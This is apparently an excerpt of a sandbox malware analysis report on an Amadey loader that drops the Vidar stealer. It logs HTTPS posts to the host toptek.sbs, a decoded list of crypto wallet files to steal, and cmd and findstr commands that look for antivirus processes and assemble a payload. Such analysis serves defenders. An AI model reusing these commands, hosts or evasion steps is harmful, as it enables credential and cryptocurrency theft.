2024-12-21 09:16:18 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4d 4f 38 59 55 4b 46 55 53 4a 4d 37 59 4d 4f 50 50 50 48 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 36 66 34 61 66 64 34 61 36 64 31 61 62 35 63 33 32 36 63 37 33 65 30 66 66 34 33 66 32 31 37 0d 0a 2d 2d 2d 2d 2d 2d 4d 4f 38 59 55 4b 46 55 53 4a 4d 37 59 4d 4f 50 50 50 48 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 4d 4f 38 59 55 4b 46 55 53 4a 4d 37 59 4d 4f 50 50 50 48 56 0d 0a 43 6f 6e 74 Data Ascii: ------MO8YUKFUSJM7YMOPPPHVContent-Disposition: form-data; name="token"16f4afd4a6d1ab5c326c73e0ff43f217------MO8YUKFUSJM7YMOPPPHVContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------MO8YUKFUSJM7YMOPPPHVCont
2024-12-21 09:16:18 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:18 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:18 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:18 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:18 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:18 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:18 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:18 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:18 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:25 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Dec 2024 09:16:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49975	94.130.188.57	443

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:16:19 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----K6XT0RIWTRQQQI5XT00R User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-21 09:16:19 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 36 58 54 30 52 49 57 54 52 51 51 51 49 35 58 54 30 30 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 36 66 34 61 66 64 34 61 36 64 31 61 62 35 63 33 32 36 63 37 33 65 30 66 66 34 33 66 32 31 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 36 58 54 30 52 49 57 54 52 51 51 51 49 35 58 54 30 30 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 36 58 54 30 52 49 57 54 52 51 51 51 49 35 58 54 30 30 52 0d 0a 43 6f 6e 74 Data Ascii: ------K6XT0RIWTRQQQI5XT00RContent-Disposition: form-data; name="token"16f4afd4a6d1ab5c326c73e0ff43f217------K6XT0RIWTRQQQI5XT00RContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------K6XT0RIWTRQQQI5XT00RCont
2024-12-21 09:16:20 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Dec 2024 09:16:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-21 09:16:20 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Target ID:	0
Start time:	04:13:58
Start date:	21/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xc50000
File size:	3'092'992 bytes
MD5 hash:	BCE8D1C24AAA492237EEF8AB39403025
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1687297615.0000000004A20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1728854916.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:14:01
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xd00000
File size:	3'092'992 bytes
MD5 hash:	BCE8D1C24AAA492237EEF8AB39403025
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1716169346.0000000005360000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1756461628.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 58%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:14:01
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xd00000
File size:	3'092'992 bytes
MD5 hash:	BCE8D1C24AAA492237EEF8AB39403025
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1757373038.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1716669492.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:15:00
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xd00000
File size:	3'092'992 bytes
MD5 hash:	BCE8D1C24AAA492237EEF8AB39403025
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2305342830.0000000005380000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	04:15:11
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe"
Imagebase:	0x400000
File size:	863'093 bytes
MD5 hash:	8EB4F92605E35C57A42B0917C221D65C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 8%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:15:12
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c move App App.cmd & App.cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:15:12
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	04:15:13
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x950000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	04:15:13
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "opssvc wrsa"
Imagebase:	0x690000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	04:15:14
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x950000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	04:15:14
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0x690000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	04:15:14
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 245347
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	04:15:14
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "profiles" Organizing
Imagebase:	0x690000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	04:15:14
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Judy + ..\Sheets + ..\Another + ..\Wanting b
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	04:15:14
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\245347\Dry.com
Wow64 process (32bit):	true
Commandline:	Dry.com b
Imagebase:	0x990000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000011.00000002.3105087259.0000000003E81000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000002.3105087259.0000000003E81000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000011.00000002.3092456644.000000000115D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000011.00000002.3094195378.0000000001208000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000011.00000003.2594494843.0000000003B81000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000011.00000003.2595246791.000000000123D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000011.00000003.2594848558.0000000003E86000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: 